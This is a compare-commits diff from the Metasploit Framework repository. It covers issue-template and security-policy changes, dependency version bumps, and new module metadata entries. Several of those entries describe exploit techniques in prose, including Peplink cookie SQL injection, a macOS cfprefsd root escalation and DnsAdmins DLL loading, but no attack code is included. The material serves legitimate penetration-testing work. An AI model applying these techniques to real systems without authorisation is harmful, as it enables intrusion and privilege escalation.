Compare commits
169 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 0fcc94f08e | |||
| d4cf660e61 | |||
| 593945ee61 | |||
| 16b27ae270 | |||
| 45480373a9 | |||
| 7e1560ff26 | |||
| 0d493bbc54 | |||
| a94d36248b | |||
| d0fe87fbf6 | |||
| 78dc43efa5 | |||
| c4d463e921 | |||
| 53f3b70b33 | |||
| 7701ea1bc8 | |||
| 151fdb7ea5 | |||
| d1e9039af4 | |||
| bfdbb909fd | |||
| bc49826766 | |||
| fe6bfad8fb | |||
| cc8321e8c8 | |||
| 6a011fe1ee | |||
| d63a79b35f | |||
| f2e3480469 | |||
| 9a5f393e0b | |||
| 488977bec7 | |||
| 0270a09d10 | |||
| ea8cf7b71e | |||
| 710ac48d26 | |||
| c6d98a537b | |||
| 182797fcbb | |||
| bec08f5f3e | |||
| 5f75479bb0 | |||
| 04e09267cf | |||
| a2a69f58a7 | |||
| 288a35f701 | |||
| a0f91d93ad | |||
| 6a1d26aa80 | |||
| 437f11bf56 | |||
| b0696343a4 | |||
| 645562a7de | |||
| 5769519d2d | |||
| 190d5c3843 | |||
| be5cd6e26c | |||
| 97f523b1b1 | |||
| 234ef7cd6d | |||
| a870b1df71 | |||
| ce17c434ae | |||
| e592736833 | |||
| 5e2a3a6f65 | |||
| 1b77d01f23 | |||
| 749423da02 | |||
| 2c1b6eddfc | |||
| d69f344b30 | |||
| 2e19c9ec83 | |||
| 242656bc07 | |||
| 7b1f5c1728 | |||
| efaeb1b80e | |||
| d8447e9708 | |||
| 0e6f6cdbbe | |||
| 8fb8b00539 | |||
| 149566b30e | |||
| 8c215c758e | |||
| 20e4b3e71f | |||
| f10871a776 | |||
| d15e27fc9e | |||
| 161083e6e4 | |||
| 632a3bd0da | |||
| 3e582ecd67 | |||
| b2bd40ef03 | |||
| 6d1a905206 | |||
| ca846fa8c1 | |||
| 534bd1fcd2 | |||
| c2d49384c0 | |||
| 67df4ea672 | |||
| 62d3d9bc9a | |||
| e01d9e701b | |||
| 3690bafeb6 | |||
| b135367730 | |||
| e54d6857ea | |||
| c8a8e1ccd4 | |||
| 9eca457358 | |||
| c23cb63c6e | |||
| fb4acd53b5 | |||
| 27a2ef6945 | |||
| 296a0654da | |||
| d46f0cec48 | |||
| f5a85890fd | |||
| 84b229d393 | |||
| cd69e2a1d9 | |||
| e7ad8d93df | |||
| 12d1ec8769 | |||
| 3a87dfac8a | |||
| ddb6782d8d | |||
| e5e1ce7816 | |||
| 788244150c | |||
| b9db589105 | |||
| b61a5e5f75 | |||
| e2a008eade | |||
| 30bebdba26 | |||
| db4de72be8 | |||
| 769b4ab5dc | |||
| 58a56a2b24 | |||
| d58cb9f9c8 | |||
| 9acafb7797 | |||
| 983434aff6 | |||
| c92bc38a86 | |||
| 760aba0ace | |||
| 763448c971 | |||
| d6b9165c7c | |||
| f14f70d3e6 | |||
| e094a55ff2 | |||
| 62d45870dc | |||
| 4bd8690370 | |||
| a61db036d7 | |||
| 1d2443ce1e | |||
| 8d64cb9b6b | |||
| ca590c7aff | |||
| 177f720f80 | |||
| d66bb4058e | |||
| 935340ab2a | |||
| de0826f353 | |||
| 4ace8e39c1 | |||
| bbb032b83d | |||
| ddfc554026 | |||
| d54046fc1b | |||
| 3e73f5efe4 | |||
| 24b5f8a332 | |||
| 7a89542b28 | |||
| 348c955253 | |||
| b9b242391f | |||
| a681f7ac46 | |||
| 6cd9fa81d6 | |||
| 4e302dc42b | |||
| 95ce79b418 | |||
| 2bb2b73dc2 | |||
| 080e25ee6a | |||
| e0c59ede5c | |||
| 1c69dfd5df | |||
| a42ae5280b | |||
| 4374edd37a | |||
| 8f9a849591 | |||
| 477f7313a2 | |||
| 26e5fc99de | |||
| 98eaef20b3 | |||
| c069d940a9 | |||
| bea6259560 | |||
| c45c01f888 | |||
| 66292a5f28 | |||
| 071eb14e4e | |||
| 97eb04a1e3 | |||
| 9745385346 | |||
| f08349982d | |||
| 138c951052 | |||
| 43ecb41575 | |||
| eabc59e5ed | |||
| dce83ad859 | |||
| 53b2db78a0 | |||
| e65e7e21f2 | |||
| 6fad6f8e8d | |||
| 0e4fcd7379 | |||
| b95c708eec | |||
| cc21e5e50d | |||
| 01c1a65f85 | |||
| e65fa7eb26 | |||
| 65643ff40c | |||
| 7ffbecefa6 | |||
| 48e0610bae | |||
| b2640d40ee | |||
| 9d09e7c2b7 | |||
| b710cfae95 |
@@ -37,24 +37,18 @@ What should happen?
|
||||
|
||||
What happens instead?
|
||||
|
||||
You might also want to check the last ~1k lines of
|
||||
`/opt/metasploit/apps/pro/engine/config/logs/framework.log` or
|
||||
`~/.msf4/logs/framework.log` for relevant stack traces
|
||||
|
||||
|
||||
## System stuff
|
||||
|
||||
### Metasploit version
|
||||
|
||||
Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install).
|
||||
|
||||
### I installed Metasploit with:
|
||||
- [ ] Kali package via apt
|
||||
- [ ] Omnibus installer (nightly)
|
||||
- [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
|
||||
- [ ] Source install (please specify ruby version)
|
||||
## Additional Information
|
||||
If your version is less than `5.0.96`, please update to the latest version and ensure your issue is still present.
|
||||
|
||||
### OS
|
||||
|
||||
What OS are you running Metasploit on?
|
||||
If the issue is encountered within `msfconsole`, please run the `debug` command using the instructions below. If the issue is encountered outisde `msfconsole`, or the issue causes `msfconsole` to crash on startup, please delete this section.
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Run the command `set loglevel 3`
|
||||
3. Take the steps necessary recreate your issue
|
||||
4. Run the `debug` command
|
||||
5. Copy all the output below the `===8<=== CUT AND PASTE EVERYTHING BELOW THIS LINE ===8<===` line and make sure to **REMOVE ANY SENSITIVE INFORMATION.**
|
||||
6. Replace these instructions and the paragraph above with the output from step 5.
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
# Reporting security issues
|
||||
|
||||
Thanks for your interest in making Metasploit more secure! If you feel
|
||||
that you have found a security issue involving Metasploit, Meterpreter,
|
||||
Recog, or any other Rapid7 open source project, you are welcome to let
|
||||
us know in the way that's most comfortable for you.
|
||||
|
||||
## Via ZenDesk
|
||||
|
||||
You can click on the big blue button at [Rapid7's Vulnerability
|
||||
Disclosure][r7-vulns] page, which will get you to our general
|
||||
vulnerability reporting system. While this does require a (free) ZenDesk
|
||||
account to use, you'll get regular updates on your issue as our software
|
||||
support teams work through it. As it happens [that page][r7-vulns] also
|
||||
will tell you what to expect when it comes to reporting vulns, how fast
|
||||
we'll fix and respond, and all the rest, so it's a pretty good read
|
||||
regardless.
|
||||
|
||||
## Via email
|
||||
|
||||
If you're more of a traditionalist, you can email your finding to
|
||||
security@rapid7.com. If you like, you can use our [PGP key][pgp] to
|
||||
encrypt your messages, but we certainly don't mind cleartext reports
|
||||
over email.
|
||||
|
||||
## NOT via GitHub Issues
|
||||
|
||||
Please don't! Disclosing security vulnerabilities to public bug trackers
|
||||
is kind of mean, even when it's well-intentioned, since you end up
|
||||
dropping 0-day on pretty much everyone right out of the gate. We'd prefer
|
||||
you didn't!
|
||||
|
||||
[r7-vulns]:https://www.rapid7.com/security/disclosure/
|
||||
[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 16 * * *"
|
||||
- cron: "0 15 * * *"
|
||||
name: Stale Bot workflow
|
||||
jobs:
|
||||
build:
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
repo-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
days-before-stale: 30
|
||||
days-before-close: 30
|
||||
operations-per-run: 10
|
||||
operations-per-run: 25
|
||||
stale-issue-message: |
|
||||
Hi!
|
||||
|
||||
@@ -32,5 +32,5 @@ jobs:
|
||||
|
||||
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
|
||||
exempt-issue-labels: |
|
||||
not stale
|
||||
debug-only: true
|
||||
not-stale,confirmed,easy,newbie-friendly,suggestion,suggestion-module,suggestion-feature,suggestion-docs
|
||||
debug-only: false
|
||||
|
||||
+18
-18
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.0.3)
|
||||
metasploit-framework (6.0.5)
|
||||
actionpack (~> 5.2.2)
|
||||
activerecord (~> 5.2.2)
|
||||
activesupport (~> 5.2.2)
|
||||
@@ -29,7 +29,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.10)
|
||||
metasploit-payloads (= 2.0.12)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.2)
|
||||
mqtt
|
||||
@@ -121,28 +121,28 @@ GEM
|
||||
activerecord (>= 3.1.0, < 7)
|
||||
ast (2.4.1)
|
||||
aws-eventstream (1.1.0)
|
||||
aws-partitions (1.358.0)
|
||||
aws-sdk-core (3.104.4)
|
||||
aws-partitions (1.364.0)
|
||||
aws-sdk-core (3.105.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.239.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1.0)
|
||||
aws-sdk-ec2 (1.188.0)
|
||||
aws-sdk-ec2 (1.193.0)
|
||||
aws-sdk-core (~> 3, >= 3.99.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.43.0)
|
||||
aws-sdk-iam (1.44.0)
|
||||
aws-sdk-core (~> 3, >= 3.99.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.36.0)
|
||||
aws-sdk-kms (1.37.0)
|
||||
aws-sdk-core (~> 3, >= 3.99.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.78.0)
|
||||
aws-sdk-s3 (1.79.1)
|
||||
aws-sdk-core (~> 3, >= 3.104.3)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.2.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.15)
|
||||
bcrypt (3.1.16)
|
||||
bcrypt_pbkdf (1.0.1)
|
||||
bindata (2.4.8)
|
||||
bit-struct (0.16)
|
||||
@@ -159,7 +159,7 @@ GEM
|
||||
simpleidn (~> 0.1)
|
||||
docile (1.3.2)
|
||||
ed25519 (1.2.4)
|
||||
em-http-request (1.1.6)
|
||||
em-http-request (1.1.7)
|
||||
addressable (>= 2.3.4)
|
||||
cookiejar (!= 0.3.1)
|
||||
em-socksify (>= 0.3)
|
||||
@@ -196,7 +196,7 @@ GEM
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.3.1)
|
||||
loofah (2.6.0)
|
||||
loofah (2.7.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (0.9.14)
|
||||
@@ -219,7 +219,7 @@ GEM
|
||||
activemodel (~> 5.2.2)
|
||||
activesupport (~> 5.2.2)
|
||||
railties (~> 5.2.2)
|
||||
metasploit-payloads (2.0.10)
|
||||
metasploit-payloads (2.0.12)
|
||||
metasploit_data_models (4.0.2)
|
||||
activerecord (~> 5.2.2)
|
||||
activesupport (~> 5.2.2)
|
||||
@@ -232,7 +232,7 @@ GEM
|
||||
metasploit_payloads-mettle (1.0.2)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.4.0)
|
||||
minitest (5.14.1)
|
||||
minitest (5.14.2)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.3.3)
|
||||
multipart-post (2.1.1)
|
||||
@@ -271,7 +271,7 @@ GEM
|
||||
pry-byebug (3.9.0)
|
||||
byebug (~> 11.0)
|
||||
pry (~> 0.13.0)
|
||||
public_suffix (4.0.5)
|
||||
public_suffix (4.0.6)
|
||||
rack (2.2.3)
|
||||
rack-protection (2.0.8.1)
|
||||
rack
|
||||
@@ -369,7 +369,7 @@ GEM
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.9.3)
|
||||
rubocop (0.89.1)
|
||||
rubocop (0.90.0)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 2.7.1.1)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
@@ -385,7 +385,7 @@ GEM
|
||||
ruby-progressbar (1.10.1)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.2)
|
||||
ruby_smb (2.0.3)
|
||||
ruby_smb (2.0.4)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -427,8 +427,8 @@ GEM
|
||||
unf_ext
|
||||
unf_ext (0.0.7.7)
|
||||
unicode-display_width (1.7.0)
|
||||
warden (1.2.8)
|
||||
rack (>= 2.0.6)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
websocket-driver (0.7.3)
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
|
||||
+14
-14
@@ -11,12 +11,12 @@ arel, 9.0.0, MIT
|
||||
arel-helpers, 2.11.0, MIT
|
||||
ast, 2.4.1, MIT
|
||||
aws-eventstream, 1.1.0, "Apache 2.0"
|
||||
aws-partitions, 1.358.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.104.4, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.188.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.43.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.36.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.78.0, "Apache 2.0"
|
||||
aws-partitions, 1.364.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.105.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.193.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.44.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.37.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.79.1, "Apache 2.0"
|
||||
aws-sigv4, 1.2.2, "Apache 2.0"
|
||||
bcrypt, 3.1.15, MIT
|
||||
bcrypt_pbkdf, 1.0.1, MIT
|
||||
@@ -35,7 +35,7 @@ diff-lcs, 1.4.4, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.4, "Apache 2.0"
|
||||
docile, 1.3.2, MIT
|
||||
ed25519, 1.2.4, MIT
|
||||
em-http-request, 1.1.6, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubi, 1.9.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
@@ -55,19 +55,19 @@ irb, 1.2.4, "Simplified BSD"
|
||||
jmespath, 1.4.0, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.3.1, ruby
|
||||
loofah, 2.6.0, MIT
|
||||
loofah, 2.7.0, MIT
|
||||
memory_profiler, 0.9.14, MIT
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
metasploit-concern, 3.0.0, "New BSD"
|
||||
metasploit-credential, 4.0.2, "New BSD"
|
||||
metasploit-framework, 6.0.3, "New BSD"
|
||||
metasploit-framework, 6.0.5, "New BSD"
|
||||
metasploit-model, 3.0.0, "New BSD"
|
||||
metasploit-payloads, 2.0.10, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 4.0.2, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.2, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.14.1, MIT
|
||||
minitest, 5.14.2, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.3.3, "Apache 2.0"
|
||||
multipart-post, 2.1.1, MIT
|
||||
@@ -91,7 +91,7 @@ pdf-reader, 2.4.0, MIT
|
||||
pg, 1.2.3, "Simplified BSD"
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 4.0.5, MIT
|
||||
public_suffix, 4.0.6, MIT
|
||||
rack, 2.2.3, MIT
|
||||
rack-protection, 2.0.8.1, MIT
|
||||
rack-test, 1.1.0, MIT
|
||||
@@ -132,14 +132,14 @@ rspec-mocks, 3.9.1, MIT
|
||||
rspec-rails, 4.0.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.9.3, MIT
|
||||
rubocop, 0.89.1, MIT
|
||||
rubocop, 0.90.0, MIT
|
||||
rubocop-ast, 0.3.0, MIT
|
||||
ruby-macho, 2.2.0, MIT
|
||||
ruby-prof, 1.4.1, "Simplified BSD"
|
||||
ruby-progressbar, 1.10.1, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.2, ruby
|
||||
ruby_smb, 2.0.3, "New BSD"
|
||||
ruby_smb, 2.0.4, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 2.3.0, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
@@ -161,7 +161,7 @@ tzinfo-data, 1.2020.1, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.7.7, MIT
|
||||
unicode-display_width, 1.7.0, MIT
|
||||
warden, 1.2.8, MIT
|
||||
warden, 1.2.9, MIT
|
||||
websocket-driver, 0.7.3, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
windows_error, 0.1.2, BSD
|
||||
|
||||
Binary file not shown.
+1280
-24
@@ -18223,6 +18223,55 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/peplink_bauth_sqli": {
|
||||
"name": "Peplink Balance routers SQLi",
|
||||
"fullname": "auxiliary/gather/peplink_bauth_sqli",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"X41 D-Sec GmbH <info@x41-dsec.de>",
|
||||
"Redouane NIBOUCHA <rniboucha@yahoo.fr>"
|
||||
],
|
||||
"description": "Firmware versions up to 7.0.0-build1904 of Peplink Balance routers are affected by an unauthenticated\n SQL injection vulnerability in the bauth cookie, successful exploitation of the vulnerability allows an\n attacker to retrieve the cookies of authenticated users, bypassing the web portal authentication.\n\n By default, a session expires 4 hours after login (the setting can be changed by the admin), for this\n reason, the module attempts to retrieve the most recently created sessions.",
|
||||
"references": [
|
||||
"EDB-42130",
|
||||
"CVE-2017-8835",
|
||||
"URL-https://gist.github.com/red0xff/c4511d2f427efcb8b018534704e9607a"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-02 20:19:03 +0000",
|
||||
"path": "/modules/auxiliary/gather/peplink_bauth_sqli.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/peplink_bauth_sqli",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/pimcore_creds_sqli": {
|
||||
"name": "Pimcore Gather Credentials via SQL Injection",
|
||||
"fullname": "auxiliary/gather/pimcore_creds_sqli",
|
||||
@@ -34556,7 +34605,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-08-26 12:34:03 +0000",
|
||||
"path": "/modules/auxiliary/scanner/misc/java_rmi_server.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/misc/java_rmi_server",
|
||||
@@ -40321,6 +40370,46 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/scada/modbus_banner_grabbing": {
|
||||
"name": "Modbus Banner Grabbing",
|
||||
"fullname": "auxiliary/scanner/scada/modbus_banner_grabbing",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Juan Escobar <juan@null-life.com>",
|
||||
"Ezequiel Fernandez"
|
||||
],
|
||||
"description": "This module grabs the banner of any device running the Modbus protocol\n by sending a request with Modbus Function Code 43 (Read Device\n Identification). Modbus is a data communications protocol originally\n published by Modicon (now Schneider Electric) in 1979 for use with its\n programmable logic controllers (PLCs).",
|
||||
"references": [
|
||||
"URL-https://modbus.org/docs/Modbus_Messaging_Implementation_Guide_V1_0b.pdf",
|
||||
"URL-https://en.wikipedia.org/wiki/Modbus#Modbus_TCP_frame_format_(primarily_used_on_Ethernet_networks)",
|
||||
"URL-https://github.com/industrialarmy/Hello_Proto"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 502,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-08 10:51:30 +0000",
|
||||
"path": "/modules/auxiliary/scanner/scada/modbus_banner_grabbing.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/scada/modbus_banner_grabbing",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/scada/modbus_findunitid": {
|
||||
"name": "Modbus Unit ID and Station ID Enumerator",
|
||||
"fullname": "auxiliary/scanner/scada/modbus_findunitid",
|
||||
@@ -41123,8 +41212,9 @@
|
||||
"author": [
|
||||
"Joshua D. Abraham <jabra@praetorian.com>"
|
||||
],
|
||||
"description": "This module enumerates files from target domain controllers and connects to them via SMB.\n It then looks for Group Policy Preference XML files containing local/domain user accounts\n and passwords and decrypts them using Microsofts public AES key. This module has been\n tested successfully on a Win2k8 R2 Domain Controller.",
|
||||
"description": "This module enumerates files from target domain controllers and connects to them via SMB.\n It then looks for Group Policy Preference XML files containing local/domain user accounts\n and passwords and decrypts them using Microsoft's public AES key. This module has been\n tested successfully on a Win2k8 R2 Domain Controller.",
|
||||
"references": [
|
||||
"CVE-2014-1812",
|
||||
"MSB-MS14-025",
|
||||
"URL-http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)",
|
||||
"URL-http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html",
|
||||
@@ -41143,7 +41233,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-05-13 16:34:47 +0000",
|
||||
"mod_time": "2020-08-28 16:20:42 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_enum_gpp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_enum_gpp",
|
||||
@@ -41485,7 +41575,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-01 09:13:01 +0000",
|
||||
"mod_time": "2020-09-04 10:54:20 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_version.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_version",
|
||||
@@ -70355,9 +70445,10 @@
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Snyk",
|
||||
"sinn3r <sinn3r@metasploit.com>"
|
||||
"sinn3r <sinn3r@metasploit.com>",
|
||||
"ggkitsas"
|
||||
],
|
||||
"description": "This is a generic arbitrary file overwrite technique, which typically results in remote\n command execution. This targets a simple yet widespread vulnerability that has been\n seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.\n The idea is that often archive extraction libraries have no mitigations against\n directory traversal attacks. If an application uses it, there is a risk when opening an\n archive that is maliciously modified, and result in the embedded payload to be written\n to an arbitrary location (such as a web root), and result in remote code execution.",
|
||||
"description": "This is a generic arbitrary file overwrite technique, which typically results in remote\n command execution. This targets a simple yet widespread vulnerability that has been\n seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.\n The idea is that often archive extraction libraries have no mitigations against\n directory traversal attacks. If an application uses it, there is a risk when opening an\n archive that is maliciously modified, and result in the embedded payload to be written\n to an arbitrary location (such as a web root), and result in remote code execution.",
|
||||
"references": [
|
||||
"URL-https://snyk.io/research/zip-slip-vulnerability"
|
||||
],
|
||||
@@ -70373,7 +70464,7 @@
|
||||
"targets": [
|
||||
"Manually determined"
|
||||
],
|
||||
"mod_time": "2019-09-12 07:43:54 +0000",
|
||||
"mod_time": "2020-09-02 17:14:30 +0000",
|
||||
"path": "/modules/exploits/multi/fileformat/zip_slip.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/fileformat/zip_slip",
|
||||
@@ -82916,11 +83007,11 @@
|
||||
"Mac OS X PPC (Native Payload)",
|
||||
"Mac OS X x86 (Native Payload)"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-08-24 10:11:03 +0000",
|
||||
"path": "/modules/exploits/multi/misc/java_rmi_server.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/java_rmi_server",
|
||||
"check": false,
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
@@ -85658,6 +85749,50 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_osx/local/cfprefsd_race_condition": {
|
||||
"name": "macOS cfprefsd Arbitrary File Write Local Privilege Escalation",
|
||||
"fullname": "exploit/osx/local/cfprefsd_race_condition",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-03-18",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Yonghwi Jin <jinmoteam@gmail.com>",
|
||||
"Jungwon Lim <setuid0@protonmail.com>",
|
||||
"Insu Yun <insu@gatech.edu>",
|
||||
"Taesoo Kim <taesoo@gatech.edu>",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in\n order to run a payload as root. The CFPreferencesSetAppValue function, which is\n reachable from most unsandboxed processes, can be exploited with a race condition\n in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login\n a user can then login as root with the `login root` command without a password.",
|
||||
"references": [
|
||||
"CVE-2020-9839",
|
||||
"URL-https://github.com/sslab-gatech/pwn2own2020"
|
||||
],
|
||||
"platform": "OSX",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Mac OS X x64 (Native Payload)"
|
||||
],
|
||||
"mod_time": "2020-09-04 17:42:30 +0000",
|
||||
"path": "/modules/exploits/osx/local/cfprefsd_race_condition.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/local/cfprefsd_race_condition",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_osx/local/dyld_print_to_file_root": {
|
||||
"name": "Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation",
|
||||
"fullname": "exploit/osx/local/dyld_print_to_file_root",
|
||||
@@ -133624,6 +133759,58 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/local/dnsadmin_serverlevelplugindll": {
|
||||
"name": "DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation",
|
||||
"fullname": "exploit/windows/local/dnsadmin_serverlevelplugindll",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2017-05-08",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Shay Ber",
|
||||
"Imran E. Dawoodjee <imran@threathounds.com>"
|
||||
],
|
||||
"description": "This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the\n `ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\`\n named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service\n will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended\n when using a UNC path.\n\n Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,\n the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and\n users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus\n after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the\n `HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\` key on the target computer may point to an nonexistant DLL,\n which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for\n this module for advice on how to resolve this issue should it occur.\n\n This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows\n Server version up to and including Windows Server 2019.",
|
||||
"references": [
|
||||
"URL-https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83",
|
||||
"URL-https://adsecurity.org/?p=4064",
|
||||
